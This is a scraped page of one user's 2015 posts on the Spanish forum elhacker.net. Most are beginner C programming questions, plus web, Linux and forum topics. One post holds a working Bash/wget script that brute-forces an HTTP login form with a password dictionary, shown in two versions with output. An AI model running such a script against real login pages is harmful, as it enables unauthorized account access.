elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a Git (Primera Parte)


  Mostrar Temas
Páginas: 1 2 3 [4]
31  Foros Generales / Sugerencias y dudas sobre el Foro / [Sugerencia] Artículos viejos en: 16 Octubre 2015, 15:09 pm
¡Buenas!

el foro está lleno de artículos que ya están muy viejos y siguen fijados.

Yo opino que se podría ir borrando o dejar de fijarlos a esos temas.

¡Saludos!
32  Programación / Programación C/C++ / [C] Completar arreglo con numeros pares! en: 3 Octubre 2015, 17:09 pm
¿Cómo hago esto , por qué siempre se me sobrescribe una variable mas del arreglo?

Primero de todo, ¿tiene 48 elementos no?

Código
  1. /*
  2. Escribir un programa que complete un arreglo con los números pares que se encuentren entre 100 y 200 y los muestre en pantalla en orden descendente.
  3. */
  4.  
  5. #include <stdio.h>
  6.  
  7. int main (void){
  8. int a[48];
  9. int i,j;
  10.  
  11. i=j=0;
  12.  
  13. for (i=51; i<100; i++){
  14. a[j]=i*2;
  15. j++;
  16.  
  17. }
  18.  
  19. //Muestro
  20.  
  21. for (j=j-1; j>=0; j--)printf("%d\n",a[j]);
  22.  
  23.  
  24. return 0;
  25. }
33  Programación / Scripting / [Bash-wget] Ataque de fuerza bruta HTTP en: 2 Octubre 2015, 02:10 am
Vale aclarar que esto solo lo hago para aprender más y, divertirme un poco.
No para hacer nada malo.

Código
  1. echo "Bruteforce attack!";
  2. USUARIO=$1
  3. DICCIONARIO=$2
  4. LINEAS=`cat $DICCIONARIO | wc -l`
  5. echo -e "User: $USUARIO\nReading: $DICCIONARIO"
  6. i=0;
  7.  
  8.  
  9. while read pass; do
  10.                        i=$(($i+1));
  11. # echo -n "[*] $pass: ";
  12. if [[ "`wget --wait=30 --user-agent=Mozilla/5.0 --save-cookies cookies.txt -qO- --post-data \"nombre_equipo=$USUARIO&pass=$pass\" http://127.0.0.1/php/login.php`" =~ "no coinciden" ]];
  13. then
  14. echo -ne "[*] $i de $(($LINEAS-1)) \r";
  15. else
  16. echo "Found  $pass"; exit;
  17.  
  18. fi
  19. done < $DICCIONARIO
  20.  
  21.  

Salida:

Código
  1. sh brute.sh juan numeros.txt
  2. Bruteforce attack!
  3. User: profe
  4. Reading: numeros.txt
  5. [*] 7 de 293
  6.  





El problema que tengo con esto es que a veces me tira "Falsos positivos" y es por el wget es como que le "apuro" no recibe el paquete o algo,

¿Cómo podría solucionar esto?

Versión mejorada:

Código
  1. echo "Bruteforce attack!";
  2. USUARIO=$1
  3. DICCIONARIO=$2
  4. LINEAS=`cat $DICCIONARIO | wc -l`
  5. echo -e "User: $USUARIO\nReading: $DICCIONARIO"
  6. i=0;
  7.  
  8.  
  9. while read pass; do
  10.    i=$(($i+1));
  11.    #echo -n "[*] $pass: ";
  12.    if [[ "`wget --wait=30 --user-agent=Mozilla/5.0 --save-cookies cookies.txt -qO- --post-data \"nombre_equipo=$USUARIO&pass=$pass\" http://***.***/php/login.php`" =~ "no coinciden" ]];
  13.    then
  14. echo -ne "[*] $i de $(($LINEAS)) \r";
  15.    else
  16. echo "(False positive?) Found $pass";
  17.  
  18.    fi
  19. done < $DICCIONARIO
  20.  


Gracias, Saludos!
34  Programación / Programación C/C++ / [C] Arreglos de m*n enteros en: 1 Octubre 2015, 23:35 pm
Dado un arreglo de m*n enteros, escribir una función pos que tome una fila y una columna, y devuelva el entero correspondiente a esa posición, es decir interpreté el arreglo unidimensional como una matriz.

¿Cómo hago esto?


Ni siquiera se me ocurre como empezar,
¿un arreglo de m*n enteros? ¿a qué se refiere con eso?

int a[m][n]; ?

Y cómo es eso que tome unafila y una columna, realmente estoy perdido.

Saludos!
35  Programación / Programación C/C++ / [C] ¿Debería usar un puntero? en: 22 Septiembre 2015, 00:52 am
Escribir un programa que lea un entero n y luego solicite al usuario el ingreso de n enteros, luego devolver la posición del primer entero duplicado.


¿Debería usar un puntero de ser así, como lo declararía usando malloc?
36  Programación / Desarrollo Web / [HTML] No carga la página en: 17 Septiembre 2015, 07:47 am
Buenas!

Tengo un código de una página medio vieja de un compañero, quiero cargarla en localhost.

Lo que hice fue sacar el código de fuente en vez de bajarme la página entera. Luego sustituí los archivos ".css, .mp3, ..." por el link donde está la web, de todos modos no carga bien la página todavía. ¿A qué se debe esto?

Código: http://pastebin.com/fq26hUn1
37  Sistemas Operativos / GNU/Linux / [GNU/Linux] ¿Problema de alimentación? en: 17 Septiembre 2015, 06:23 am
Buenas!,

Tengo un gran problema con todas las distribuciones de GNU/Linux, es decir más bien con el kernel.

La cuestión es que Linux parece no soportar mi tarjeta de red ya que si utilizo GNU/Linux sin conectar el cable Ethernet funciona a la perfección todo.

Pero si lo conecto después de unos 10 minutos se reinicia automaticamente.

¿Por qué puede ser?, he probado con todas las distribuciones posibles y con todas pasa lo mismo, hasta probé con la versión 4 del kernel, todavía no probé con las versiones 2.6.x de Linux

Ahora estoy desde Fedora pero en una máquina virtual y si hago un lspci | grep -i ethernet me tira esto
Código:
01.0 Ethernet controller: Intel Corporation 82545EM Gigabit Ethernet Controller (Copper) (rev 01)

Supongo que serán los mismos.
(La máquina virtual no se reinicia)

Saludos!
38  Programación / Programación C/C++ / [C] Contador de dígitos en: 17 Septiembre 2015, 05:31 am
Buenas!

Código
  1. #include <stdio.h>
  2.  
  3.  
  4. int main() {
  5.  int c, i;
  6.  
  7.  int ndigit[10];
  8.  
  9.  for (i = 0; i < 10; i = i + 1) {
  10.    ndigit[i] = 0;
  11.  }
  12.  
  13.  while ((c = getchar()) != EOF) {
  14.  
  15.    if ( c >= '0' && c <= '9') {
  16.      ++ndigit[c - '0'];
  17.    }
  18.  
  19.  }
  20.  
  21.  //Muestra OMIT
  22.  for (i = 0; i < 10; i = i + 1) {
  23.    printf("%d -> %d\n", i, ndigit[i]);
  24.  }
  25. }

No entiendo esta línea ++ndigit[c - '0']; si le sacás el '0' no funciona.

¿Por qué, para qué sirve eso?

Saludos
39  Programación / PHP / [WWW-Torrents] ¿Cómo funcionan? en: 16 Septiembre 2015, 08:51 am
Buenas! ,

¿Cómo funciona una página web de torrents?

Con esto quiero decir, por ejemplo cómo saben que los torrents están activos y cuales no,  ¿Cómo lo verifican, como se dan cuenta que ya no sirve?

Se utiliza alguna api o algo por el estilo ?
Digo para sacar las características como SIZE, FILES, AGE, SEED, LEECH

Saludos!
40  Programación / Programación C/C++ / Mills' constant en: 10 Septiembre 2015, 21:46 pm
Buenas!

Defición - Wikipedia:
In number theory, Mills' constant is defined as the smallest positive real number A such that the floor of the double exponential function is a prime number, for all positive integers n.

¿Cómo hago para que no desborde el tipo, cómo debo definirla?

Código
  1. #include <stdio.h>
  2. #include <math.h>
  3.  
  4. int main (void){
  5.    int n;
  6.    int exponent;
  7.    double mills=1.30637788386308069046861449260260571291678458515671364436805375996643405376682659;
  8.  
  9.    for (n=1; n<10; n++){
  10.            exponent=pow(3,n);
  11.            printf ("%f\n", pow(mills,exponent)  );
  12.    }
  13.  
  14. return 0;}
  15.  


A lo último me tira:
Código:
1.#INF00
1.#INF00

Usé la funcion floor pero el tema es que redondea mal y me tira números que no son primos.

Saludos!
Páginas: 1 2 3 [4]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines